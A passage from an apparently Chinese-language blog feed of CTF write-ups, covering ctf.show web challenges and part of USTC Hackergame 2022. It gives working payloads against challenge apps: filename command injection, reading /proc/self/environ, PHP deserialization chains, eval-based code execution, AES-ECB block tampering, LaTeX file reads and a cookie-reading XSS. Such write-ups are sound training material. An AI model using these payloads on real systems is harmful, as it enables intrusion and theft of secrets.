Flag!&#39;)</code></pre><p>这道题其实比想象中简单很多，尝试性地发送了一个<code>cmd=ls</code>，<code>param=-la</code>，发现就直接能够获取到<code>ls</code>命令的结果，那么接下来只需要找到flag的位置，读取它。在根目录没有直接找到他，但是发现了<code>start.sh</code>，内容如下：</p><pre><code class="language-shell">#!/bin/bashecho $FLAG &gt;/app/flag.txtecho &quot;flag done&quot;cd /app python /app/app.py&amp;tail -F /dev/nullfrom flask import requestcmd: str = [&#39;cat&#39;, &#39;/start.sh&#39;][0]param: str = [&#39;cat&#39;, &#39;/start.sh&#39;][1]# ------------------------------------- Don&#39;t modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None:    try:        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)        print(&#39;Done!&#39;)    except subprocess.TimeoutExpired:        print(&#39;Timeout!&#39;)    except:        print(&#39;Error!&#39;)else:    print(&#39;No Flag!&#39;)Done!</code></pre><p>可知，flag在<code>/app/flag.txt</code>，因此，请求<code>cat /app/flag.txt</code>即可。</p><h3 id="%E5%8F%A6%E4%B8%80%E7%A7%8D%E5%8F%AF%E8%A1%8C%E7%9A%84%E8%A7%A3%E6%B3%95" tabindex="-1">另一种可行的解法</h3><p>我们已知，flag是通过环境变量设置的，因此，请求<code>cat /proc/self/environ</code>也可以获得flag。</p><h2 id="%5Bweb%5D-%E9%81%8D%E5%9C%B0%E9%A3%98%E9%9B%B6" tabindex="-1">[WEB] 遍地飘零</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E9%81%8D%E5%9C%B0%E9%A3%98%E9%9B%B6-3881" target="_blank">https://ctf.show/challenges#遍地飘零-3881</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">&lt;?phpinclude &quot;flag.php&quot;;highlight_file(__FILE__);$zeros=&quot;000000000000000000000000000000&quot;;foreach($_GET as $key =&gt; $value){    $$key=$$value;}if ($flag==&quot;000000000000000000000000000000&quot;){    echo &quot;好多零&quot;;}else{    echo &quot;没有零，仔细看看输入有什么问题吧&quot;;    var_dump($_GET);}</code></pre><p>很明显，这道题目将每个query的key赋值成了value，我们又知道，flag存在<code>$flag</code>变量中，因此，可以构造如下payload，把flag套出来。</p><pre><code class="language-">/?_GET=flag</code></pre><h2 id="%5Bweb%5D-%E8%8C%B6%E6%AD%87%E5%8C%BA" tabindex="-1">[WEB] 茶歇区</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E8%8C%B6%E6%AD%87%E5%8C%BA-3882" target="_blank">https://ctf.show/challenges#茶歇区-3882</a></p></blockquote><p>这道题是通过乘法计算超过整数范围从而溢出的方式使得得分超过正常值，因此，可以第一次请求：</p><pre><code class="language-">火腿肠922337203685477580面包9223372036854775807咖啡9223372036854775807</code></pre><p>这个时候，可以获得大量的余额，将这些全部换咖啡，即可获得超过114514的得分。<br />第二次请求：</p><pre><code class="language-">咖啡8301034833169302528</code></pre><p>即可获得flag，本题答案不唯一，可以多尝试。</p><h2 id="%5Bweb%5D-%E5%B0%8F%E8%88%94%E7%94%B0%EF%BC%9F" tabindex="-1">[WEB] 小舔田？</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E5%B0%8F%E8%88%94%E7%94%B0%EF%BC%9F-3883" target="_blank">https://ctf.show/challenges#小舔田？-3883</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">&lt;?phpinclude &quot;flag.php&quot;;highlight_file(__FILE__);class Moon{    public $name=&quot;月亮&quot;;    public function __toString(){        return $this-&gt;name;    }        public function __wakeup(){        echo &quot;我是&quot;.$this-&gt;name.&quot;快来赏我&quot;;    }}class Ion_Fan_Princess{    public $nickname=&quot;牛夫人&quot;;    public function call(){        global $flag;        if ($this-&gt;nickname==&quot;小甜甜&quot;){            echo $flag;        }else{            echo &quot;以前陪我看月亮的时候，叫人家小甜甜！现在新人胜旧人，叫人家&quot;.$this-&gt;nickname.&quot;。\n&quot;;            echo &quot;你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n&quot;;        }    }        public function __toString(){        $this-&gt;call();        return &quot;\t\t\t\t\t\t\t\t\t\t----&quot;.$this-&gt;nickname;    }}if (isset($_GET[&#39;code&#39;])){    unserialize($_GET[&#39;code&#39;]);}else{    $a=new Ion_Fan_Princess();    echo $a;}</code></pre><p>一道有点复杂的PHP反序列化题目，总体来说就是套娃把flag给套出来。<br />本地代码如下：</p><pre><code class="language-php">$moon2 = new Moon();$moon = new Moon();$moon2-&gt;name = &quot;小甜甜&quot;;$moon-&gt;name = new Ion_Fan_Princess();$moon-&gt;name-&gt;nickname = $moon2;echo serialize($moon);</code></pre><p>构造出的payload为：</p><pre><code class="language-">/?code=O:4:&quot;Moon&quot;:1:{s:4:&quot;name&quot;;O:16:&quot;Ion_Fan_Princess&quot;:1:{s:8:&quot;nickname&quot;;O:4:&quot;Moon&quot;:1:{s:4:&quot;name&quot;;s:9:&quot;小甜甜&quot;;}}}</code></pre><p>请求即可获得flag。</p><h2 id="%5Bweb%5D-lsb%E6%8E%A2%E5%A7%AC" tabindex="-1">[WEB] LSB探姬</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#LSB%E6%8E%A2%E5%A7%AC-3884" target="_blank">https://ctf.show/challenges#LSB探姬-3884</a></p></blockquote><p>这道题与图片隐写没有任何关系。查看源代码：</p><pre><code class="language-python"># !/usr/bin/env python# -*-coding:utf-8 -*-&quot;&quot;&quot;# File       : app.py# Time       ：2022/10/20 15:16# Author     ：g4_simon# version    ：python 3.9.7# Description：TSTEG-WEB# flag is in /app/flag.py&quot;&quot;&quot;from flask import *import os#初始化全局变量app = Flask(__name__)@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])def index():        return render_template(&#39;upload.html&#39;)@app.route(&#39;/upload&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])def upload_file():    if request.method == &#39;POST&#39;:        try:            f = request.files[&#39;file&#39;]            f.save(&#39;upload/&#39;+f.filename)            cmd=&quot;python3 tsteg.py upload/&quot;+f.filename            result=os.popen(cmd).read()            data={&quot;code&quot;:0,&quot;cmd&quot;:cmd,&quot;result&quot;:result,&quot;message&quot;:&quot;file uploaded!&quot;}            return jsonify(data)        except:            data={&quot;code&quot;:1,&quot;message&quot;:&quot;file upload error!&quot;}            return jsonify(data)    else:        return render_template(&#39;upload.html&#39;)@app.route(&#39;/source&#39;, methods=[&#39;GET&#39;])def show_source():    return render_template(&#39;source.html&#39;)if __name__ == &#39;__main__&#39;:    app.run(host=&#39;0.0.0.0&#39;,port=80,debug=False)</code></pre><p>可知，cmd部分是通过字符串拼接的方式实现的，这就给我们了可乘之机。使用<code>burp</code>构造以下payload：</p><pre><code class="language-">POST /upload HTTP/1.1Host: &lt;host&gt;Content-Length: 188Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0L2V4qzX5YlQnV0XAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundary0L2V4qzX5YlQnV0XContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;a||cat flag.py&quot;Content-Type: image/jpeg------WebKitFormBoundary0L2V4qzX5YlQnV0X--</code></pre><p>即可获得flag。</p><h2 id="%5Bweb%5D-is_not_obfuscate" tabindex="-1">[WEB] Is_Not_Obfuscate</h2><blockquote><p>题目链接：<a href="http://22771d42-75e0-4ed4-b6fa-463e8aee3f27.challenge.ctf.show/" target="_blank">http://22771d42-75e0-4ed4-b6fa-463e8aee3f27.challenge.ctf.show/</a></p></blockquote><p>查看网页源代码，发现注释：</p><pre><code class="language-html">&lt;!-- &lt;button name=&quot;action&quot; value=&quot;test&quot;&gt; 执行 (do)&lt;/button&gt;--&gt;&lt;!-- After that,delete the robots.txt！--&gt;</code></pre><p>访问<code>robots.txt</code>，内容如下：</p><pre><code class="language-">User-agent: *Allow: /lib.php$Disallow: /lib.php?flag=0Disallow: /plugins</code></pre><p>访问<code>/lib.php?flag=0</code>，发现是空的，但是把<code>flag</code>修改一下，就会出现base64加密的密文：</p><pre><code class="language-">eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT</code></pre><p>使用之前的提示，POST一个action为test的请求，内容是上面的密文，即可看到网页源代码：</p><pre><code class="language-php">&lt;?phpheader(&quot;Content-Type:text/html;charset=utf-8&quot;);include &#39;lib.php&#39;;if(!is_dir(&#39;./plugins/&#39;)){    @mkdir(&#39;./plugins/&#39;, 0777);}//Test it and delete it ！！！//测试执行加密后的插件代码if($_GET[&#39;action&#39;] === &#39;test&#39;) {    echo &#39;Anything is good?Please test it.&#39;;    @eval(decode($_GET[&#39;input&#39;]));}ini_set(&#39;open_basedir&#39;, &#39;./plugins/&#39;);if(!empty($_GET[&#39;action&#39;])){    switch ($_GET[&#39;action&#39;]){        case &#39;pull&#39;:            $output = @eval(decode(file_get_contents(&#39;./plugins/&#39;.$_GET[&#39;input&#39;])));            echo &quot;pull success&quot;;            break;        case &#39;push&#39;:            $input = file_put_contents(&#39;./plugins/&#39;.md5($_GET[&#39;output&#39;].&#39;youyou&#39;), encode($_GET[&#39;output&#39;]));            echo &quot;push success&quot;;            break;        default:            die(&#39;hacker!&#39;);    }}?&gt;// ...</code></pre><p>分析代码可知，push操作是将代码上传并保存到<code>/plugins/</code>文件夹中，文件名按照<code>md5($_GET['output'].'youyou')</code>加密。pull操作则是运行文件夹中的代码。因此，只需要预先写好push的语句，然后计算出文件名，pull下来，即可执行语句中的命令了。<br />push的内容可以是：</p><pre><code class="language-">system(&quot;cat /f*&quot;);</code></pre><p>文件名则为：<code>1f100b1303ce38981e078eab341678a7</code><br />pull一下即可获得flag。</p><h2 id="%5Bweb%5D-%E9%BE%99%E7%8F%A0nft" tabindex="-1">[WEB] 龙珠NFT</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E9%BE%99%E7%8F%A0NFT-3886" target="_blank">https://ctf.show/challenges#龙珠NFT-3886</a></p></blockquote><p>这道题目有一些难度。首先查看源代码：</p><pre><code class="language-python"># !/usr/bin/env python# -*-coding:utf-8 -*-&quot;&quot;&quot;# File       : app.py# Time       ：2022/10/20 15:16# Author     ：g4_simon# version    ：python 3.9.7# Description：DragonBall Radar (BlockChain)&quot;&quot;&quot;import hashlibfrom flask import *import osimport jsonimport hashlibfrom Crypto.Cipher import AESimport randomimport timeimport base64#网上找的AES加密代码，加密我又不懂，加就完事儿了class AESCipher():    def __init__(self,key):        self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])        self.model = AES.MODE_ECB        self.aes = AES.new(self.key,self.model)    def add_16(self,par):        if type(par) == str:            par = par.encode()        while len(par) % 16 != 0:            par += b&#39;\x00&#39;        return par    def aesencrypt(self,text):        text = self.add_16(text)        self.encrypt_text = self.aes.encrypt(text)        return self.encrypt_text    def aesdecrypt(self,text):        self.decrypt_text = self.aes.decrypt(text)        self.decrypt_text = self.decrypt_text.strip(b&quot;\x00&quot;)        return self.decrypt_text#初始化全局变量app = Flask(__name__)flag=os.getenv(&#39;FLAG&#39;)AES_ECB=AESCipher(flag)app.config[&#39;JSON_AS_ASCII&#39;] = False#懒得弄数据库或者类，直接弄字典就完事儿了players={}@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])def index():    &quot;&quot;&quot;    提供登录功能    &quot;&quot;&quot;@app.route(&#39;/radar&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])def radar():   &quot;&quot;&quot;   提供雷达界面   &quot;&quot;&quot;@app.route(&#39;/find_dragonball&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])def  find_dragonball():    &quot;&quot;&quot;    找龙珠，返回龙珠地址    &quot;&quot;&quot;    xxxxxxxxxxx#无用代码可以忽略    if search_count==10:#第一次搜寻，给一个一星龙珠        dragonball=&quot;1&quot;    elif search_count&lt;=0:        data={&quot;code&quot;:1,&quot;msg&quot;:&quot;搜寻次数已用完&quot;}        return jsonify(data)    else:        random_num=random.randint(1,1000)        if random_num&lt;=6:            dragonball=一个没拿过的球，比如&#39;6&#39;        else:            dragonball=&#39;0&#39;#0就代表没有发现龙珠    players[player_id][&#39;search_count&#39;]=search_count-1    data={&#39;player_id&#39;:player_id,&#39;dragonball&#39;:dragonball,&#39;round_no&#39;:str(11-search_count),&#39;time&#39;:time.strftime(&#39;%Y-%m-%d %H:%M:%S&#39;)}    #json.dumps(data)=&#39;{&quot;player_id&quot;: &quot;572d4e421e5e6b9bc11d815e8a027112&quot;, &quot;dragonball&quot;: &quot;1&quot;, &quot;round_no&quot;: &quot;9&quot;, &quot;time&quot;:&quot;2022-10-19 15:06:45&quot;}&#39;    data[&#39;address&#39;]= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()    return jsonify(data)@app.route(&#39;/get_dragonball&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])def get_dragonball():    &quot;&quot;&quot;    根据龙珠地址解密后添加到用户信息    &quot;&quot;&quot;    xxxxxxxxx#无用代码可以忽略    try:        player_id=request.cookies.get(&quot;player_id&quot;)        address=request.args.get(&#39;address&#39;)        data=AES_ECB.aesdecrypt(base64.b64decode(address))        data=json.loads(data.decode())        if data[&#39;dragonball&#39;] !=&quot;0&quot;:            players[data[&#39;player_id&#39;]][&#39;dragonballs&#39;].append(data[&#39;dragonball&#39;])            return jsonify({&#39;get_ball&#39;:data[&#39;dragonball&#39;]})        else:            return jsonify({&#39;code&#39;:1,&#39;msg&#39;:&quot;这个地址没有发现龙珠&quot;})    except:        return jsonify({&#39;code&#39;:1,&#39;msg&#39;:&quot;你干啥???????&quot;})@app.route(&#39;/flag&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])def get_flag():    &quot;&quot;&quot;    查看龙珠库存    &quot;&quot;&quot;    #如果有7颗龙珠就拿到flag~@app.route(&#39;/source&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])def get_source():    &quot;&quot;&quot;    查看源代码    &quot;&quot;&quot;if __name__ == &#39;__main__&#39;:    app.run(host=&#39;0.0.0.0&#39;,port=80,debug=False)</code></pre><p>乍一看其实没有任何突破口，其实问题出在AES加密上，查阅资料可知，AES_ECB加密模式是将原始内容按照128bits为内容块，分块加密，每个128bits的内容块都会被加密成128bits的密文块，最后拼接，以base64编码展示。不足128bits的内容块，将会用<code>add_16</code>函数补零，然后再加密。因此，如果我们以一个密文块（128bits）为单位删去任意一个密文块，都不会影响AES密文的正常解密，这便是本道题的核心突破口。<br />我们可以看到，龙珠地址加密前的原始内容是形如下方内容的json文本：</p><pre><code class="language-json">{&quot;player_id&quot;: &quot;572d4e421e5e6b9bc11d815e8a027112&quot;, &quot;dragonball&quot;: &quot;1&quot;, &quot;round_no&quot;: &quot;9&quot;, &quot;time&quot;:&quot;2022-10-19 15:06:45&quot;}</code></pre><p>将它们以128bits为一组排列（即16字符一组），呈现以下状态</p><pre><code class="language-text">{&quot;player_id&quot;: &quot;572d4e421e5e6b9bc11d815e8a027112&quot;, &quot;dragonball&quot;: &quot;1&quot;, &quot;round_no&quot;: &quot;9&quot;, &quot;time&quot;:&quot;2022-10-19 15:06:45&quot;}</code></pre><p>然后，再仔细观察源代码，发现其实<code>round_no</code>并不重要，决定龙珠是否拿到是判断<code>dragonball</code>是否非零，而且是否与之前重复。因此，我们可以把</p><pre><code class="language-text">&quot;1&quot;, &quot;round_no&quot;:</code></pre><p>这一行删去，原文便变成了：</p><pre><code class="language-text">{&quot;player_id&quot;: &quot;572d4e421e5e6b9bc11d815e8a027112&quot;, &quot;dragonball&quot;:  &quot;9&quot;, &quot;time&quot;:&quot;2022-10-19 15:06:45&quot;}</code></pre><p><code>dragonball</code>对应的值正好与<code>round_no</code>对应了，这样，只需要多次搜索龙珠，获取并提交处理过的地址，最后得到的<code>dragonball</code>一定是不同的。</p><p>处理地址的代码如下：</p><pre><code class="language-python">import base64ori = &quot;9W1Nmz/rFNIWAEe3rhb6NQUChjF3RBAtcTnbrw0SWxiO+bERJPRaEWubIX0dsWJC9SY3ADvDY0dCsJH4wPfZpHy7i1MGnMjvibMF3/H02v+sBLZGFeHqp71U+EOGb01aBYU551ISH4Utk2d3N5PGXId4IaV7xmvz5+AmtzT/nJQ=&quot;def sep(num, data):    res = []    cnt = 0    bb = bytearray()    for i in data:        bb.append(i)        cnt += 1        if cnt == num:            cnt = 0            res.append(bb)            bb = bytearray()    return resif __name__ == &#39;__main__&#39;:    b64 = base64.b64decode(ori)    r = sep(16, b64)    r.remove(r[4])    final = bytearray()    for i in r:        final.extend(i)    print(base64.b64encode(final).decode())</code></pre><p>将处理完毕的地址提交，重复搜索和处理七次，即可获得最后的flag。</p>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[USTC Hackergame 2022 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/ustchackergame2022部分题解" />
                <id>tag:https://blog.vvbbnn00.cn,2022-12-12:ustchackergame2022部分题解</id>
                <published>2022-12-12T10:24:30+08:00</published>
                <updated>2023-01-17T03:38:32+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>这是<code>USTC Hackergame 2022</code>的部分题解，部分题目的解题思路参考了官方Writeups。</p><blockquote><p>Hackergame 官网：<a href="https://hack.lug.ustc.edu.cn/" target="_blank">https://hack.lug.ustc.edu.cn/</a><br />官方Writeups：<a href="https://github.com/USTC-Hackergame/hackergame2022-writeups" target="_blank">https://github.com/USTC-Hackergame/hackergame2022-writeups</a></p></blockquote><h2 id="%5Bweb%5D%E7%AD%BE%E5%88%B0" tabindex="-1">[WEB]签到</h2><p>可以看到，提交时自动加上了<code>?result=xxxx</code>，故只需构造<code>?result=2022</code>即可获得flag</p><pre><code class="language-">flag{HappyHacking2022-3b26626714}</code></pre><h2 id="%5Bmisc%5D%E5%AE%B6%E7%9B%AE%E5%BD%95%E9%87%8C%E7%9A%84%E7%A7%98%E5%AF%86" tabindex="-1">[MISC]家目录里的秘密</h2><h3 id="%E7%AC%AC%E4%B8%80%E9%97%AE" tabindex="-1">第一问</h3><p>使用<code>VS Code</code>打开后全局搜索<code>flag</code>即可</p><pre><code class="language-">flag{finding_everything_through_vscode_config_file_932rjdakd}</code></pre><h3 id="%E7%AC%AC%E4%BA%8C%E9%97%AE" tabindex="-1">第二问</h3><p>使用<code>rclone</code>自带指令反混淆</p><pre><code class="language-cmd">rclone reveal tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ</code></pre><pre><code class="language-">flag{get_rclone_password_from_config!_2oi3dz1}</code></pre><h2 id="%5Bmisc%5Dheilang" tabindex="-1">[MISC]HeiLang</h2><p><strong>警告：改题目违反了何不扩散条约！</strong><br />简单的字符串处理，把何代码用<code>&quot;&quot;&quot;</code>括起来，定义为<code>code</code><br /><code>main</code>代码前加入</p><pre><code class="language-python">    cmds = code.split(&#39;\n&#39;)    for cmd in cmds:        nums = cmd.split(&quot;] = &quot;)[0]        nums = nums.replace(&quot;a[&quot;, &quot;&quot;)        nums = nums.split(&quot; | &quot;)        ans = int(cmd.split(&quot;] = &quot;)[-1])        for i in nums:            a[int(i)] = ans</code></pre><p>运行即可</p><pre><code class="language-">flag{6d9ad6e9a6268d96-19264f7d66cbb1ab}</code></pre><h2 id="%5Bweb%5Dxcaptcha" tabindex="-1">[WEB]Xcaptcha</h2><p>由于Cookie有效期很短，需要编写python脚本提交</p><pre><code class="language-python">import requestsif __name__ == &#39;__main__&#39;:    url = &quot;http://202.38.93.111:10047/&quot;    session = requests.session()    session.get(        url + &quot;?token=YOUR_TOKEN&quot;)    ret = session.get(url + &quot;xcaptcha&quot;)    data1 = ret.text.split(r&#39;&lt;label for=&quot;captcha1&quot;&gt;&#39;)[-1].split(&quot; 的结果是？&quot;)[0]    data2 = ret.text.split(r&#39;&lt;label for=&quot;captcha2&quot;&gt;&#39;)[-1].split(&quot; 的结果是？&quot;)[0]    data3 = ret.text.split(r&#39;&lt;label for=&quot;captcha3&quot;&gt;&#39;)[-1].split(&quot; 的结果是？&quot;)[0]    ret1 = int(data1.split(&quot;+&quot;)[0]) + int(data1.split(&quot;+&quot;)[1])    ret2 = int(data2.split(&quot;+&quot;)[0]) + int(data2.split(&quot;+&quot;)[1])    ret3 = int(data3.split(&quot;+&quot;)[0]) + int(data3.split(&quot;+&quot;)[1])    ret = session.post(url + &quot;xcaptcha&quot;, data={        &#39;captcha1&#39;: ret1,        &#39;captcha2&#39;: ret2,        &#39;captcha3&#39;: ret3,    })    print(ret.text)</code></pre><pre><code class="language-">flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_d310809ffe}</code></pre><h2 id="%5Bmisc%5D%E6%97%85%E8%A1%8C%E7%85%A7%E7%89%872.0" tabindex="-1">[MISC]旅行照片2.0</h2><h3 id="%E7%AC%AC%E4%B8%80%E9%97%AE-1" tabindex="-1">第一问</h3><p>查询<code>exif</code>信息即可，答案略</p><pre><code class="language-">flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}</code></pre><h3 id="%E7%AC%AC%E4%BA%8C%E9%97%AE-1" tabindex="-1">第二问</h3><p>1.谷歌识图，找到新闻中类似建筑物：<a href="https://mainichi.jp/articles/20220713/k00/00m/040/051000c%EF%BC%8C" target="_blank">https://mainichi.jp/articles/20220713/k00/00m/040/051000c，</a><br />地点千葉市美浜区 ZOZOマリンスタジアム<br />附近酒店</p><ul><li>〒261-0021 千葉県千葉市美浜区ひび野２丁目３</li><li>〒261-0021 千葉県千葉市美浜区ひび野２丁目120-3</li><li>〒261-0021 千葉県千葉市美浜区ひび野２丁目10-2<br />故邮编为<code>261-0021</code></li></ul><p>2.以<code>“xiaomi sm6115”</code>为内容搜索，可查询到，手机型号为<code>骁龙662</code><br />简单搜索，根据图片倒影比对，<code>Redmi Note 9</code>是满足的结果<br />分辨率<code>2340x1080</code></p><p>3/4/5.在此查询，对应UTC时间即可<br /><a href="https://globe.adsbexchange.com/" target="_blank">https://globe.adsbexchange.com/</a><br />可能的航班：</p><ul><li>ANA683</li><li>JAL322</li><li>ANA538</li><li>JAL518</li></ul><p>全部查询一遍，发现匹配的是</p><ul><li>ANA683</li></ul><p>Google一下<code>ANA683 2022-05-14</code></p><pre><code class="language-text">ANA683 / NH683left GATE 66Tokyo Int&#39;l (Haneda) - HNDlanded atHiroshima - HIJ</code></pre><pre><code class="language-">flag{Buzz_0ver_y0ur_h34d_and_4DSB_m19ht_111egal}</code></pre><h2 id="%5Bmisc%5Dlatex%E6%9C%BA%E5%99%A8%E4%BA%BA" tabindex="-1">[MISC]Latex机器人</h2><h3 id="%E7%AC%AC%E4%B8%80%E9%97%AE-2" tabindex="-1">第一问</h3><pre><code class="language-">\input{/flag1}</code></pre><pre><code class="language-">flag{becAr3fu11dUd346b7a7cc0b}</code></pre><h3 id="%E7%AC%AC%E4%BA%8C%E9%97%AE-2" tabindex="-1">第二问</h3><p>官方题解使用的是<code>\detokenize</code>函数，方法略有复杂，还有一种解法，使用<code>\catcode</code>函数，根据Wiki描述</p><blockquote><p><code>\catcode</code> is the command that’s used to change the category code of a character. The category code tells TeX what to do when it encounters that character later in the text.<br />来源：<a href="https://en.wikibooks.org/wiki/TeX/catcode" target="_blank">https://en.wikibooks.org/wiki/TeX/catcode</a></p></blockquote><p>因此该函数可以将字母原有的意思覆盖，查表可知，类型<code>11</code>或<code>12</code>是可以定义的类别</p><blockquote><p>The category codes in TeX are as follows:</p><p>0 = Escape character, normally <br />1 = Begin grouping, normally {<br />2 = End grouping, normally }<br />3 = Math shift, normally $<br />4 = Alignment tab, normally &amp;<br />5 = End of line, normally <code>&lt;return&gt;</code><br />6 = Parameter, normally #<br />7 = Superscript, normally ^<br />8 = Subscript, normally _<br />9 = Ignored character, normally <code>&lt;null&gt;</code><br />10 = Space, normally <code>&lt;space&gt;</code> and <code>&lt;tab&gt;</code><br />11 = Letter, normally only contains the letters a,…,z and A,…,Z. These characters can be used in command names<br />12 = Other, normally everything else not listed in the other categories<br />13 = Active character, for example ~<br />14 = Comment character, normally %<br />15 = Invalid character, normally <code>&lt;delete&gt;</code></p></blockquote><p>构造payload</p><pre><code class="language-">{ \catcode&#96;\_=12 \catcode&#96;\#=12 \input{/flag2} }</code></pre><pre><code class="language-">flag{latex_bec_0_m##es_co__#ol_0478a6b3b7}</code></pre><h2 id="%5Bweb%5Dflag-%E7%9A%84%E7%97%95%E8%BF%B9" tabindex="-1">[WEB]Flag 的痕迹</h2><p>使用了<code>DokuWiki</code>，从官方网站找线索，可发现两个切入点：</p><ul><li>选择两个不同版本后，可以进行代码比对，例如：<a href="https://www.dokuwiki.org/dokuwiki?do=diff&amp;rev2%5B0%5D=1640028507&amp;rev2%5B1%5D=1642842159&amp;difftype=sidebyside" target="_blank">https://www.dokuwiki.org/dokuwiki?do=diff&amp;rev2[0]=1640028507&amp;rev2[1]=1642842159&amp;difftype=sidebyside</a></li><li>不同版本对应一个版本号，版本号通常为修改时的时间戳，例如：<a href="https://www.dokuwiki.org/dokuwiki?rev=1640028507" target="_blank">https://www.dokuwiki.org/dokuwiki?rev=1640028507</a></li></ul><p>第二种方式需要暴力破解，数据量大，不太可行。<br />故使用第一种方式：访问链接<a href="http://202.38.93.111:15004/doku.php?do=diff" target="_blank">http://202.38.93.111:15004/doku.php?do=diff</a>，后退一次编辑，即可找到flag</p><pre><code class="language-">flag{d1gandFInD_d0kuw1k1_unexpectEd_API}</code></pre><h2 id="%5Bweb%5D%E5%BE%AE%E7%A7%AF%E5%88%86%E8%AE%A1%E7%AE%97%E5%B0%8F%E7%BB%83%E4%B9%A0" tabindex="-1">[WEB]微积分计算小练习</h2><p>首先访问第一个网页<a href="http://202.38.93.111:10056/" target="_blank">http://202.38.93.111:10056/</a>，回答完题目后会跳转到结果页面，例如<a href="http://202.38.93.111:10056/share?result=MDoxMTE%3D" target="_blank">http://202.38.93.111:10056/share?result=MDoxMTE%3D</a>，<code>query</code>参数<code>result</code>经过<code>base64</code>解码后，是一个格式为<code>[分数]:[姓名]</code>的字符串。<br />接着分析bot的代码，可知bot会将flag放入cookie，故这是一道标准的XSS注入题<br />我们可以将分数字段替换为脚本：</p><pre><code class="language-js">document.getElementById(&#39;score&#39;).innerHTML=document.cookie;</code></pre><p>该脚本的xss注入代码可以是：</p><pre><code class="language-html">&lt;img src=&#39;non-exist.jpg&#39; onerror=&quot;eval(atob(&#39;ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Njb3JlJykuaW5uZXJIVE1MPWRvY3VtZW50LmNvb2tpZQ==&#39;))&quot;&gt;</code></pre><p>值得注意的是，不能使用<code>&lt;script&gt;&lt;/script&gt;</code>，因为分数是在前端解析的，出于安全原因，浏览器不允许通过innerHTML的脚本自动执行（<a 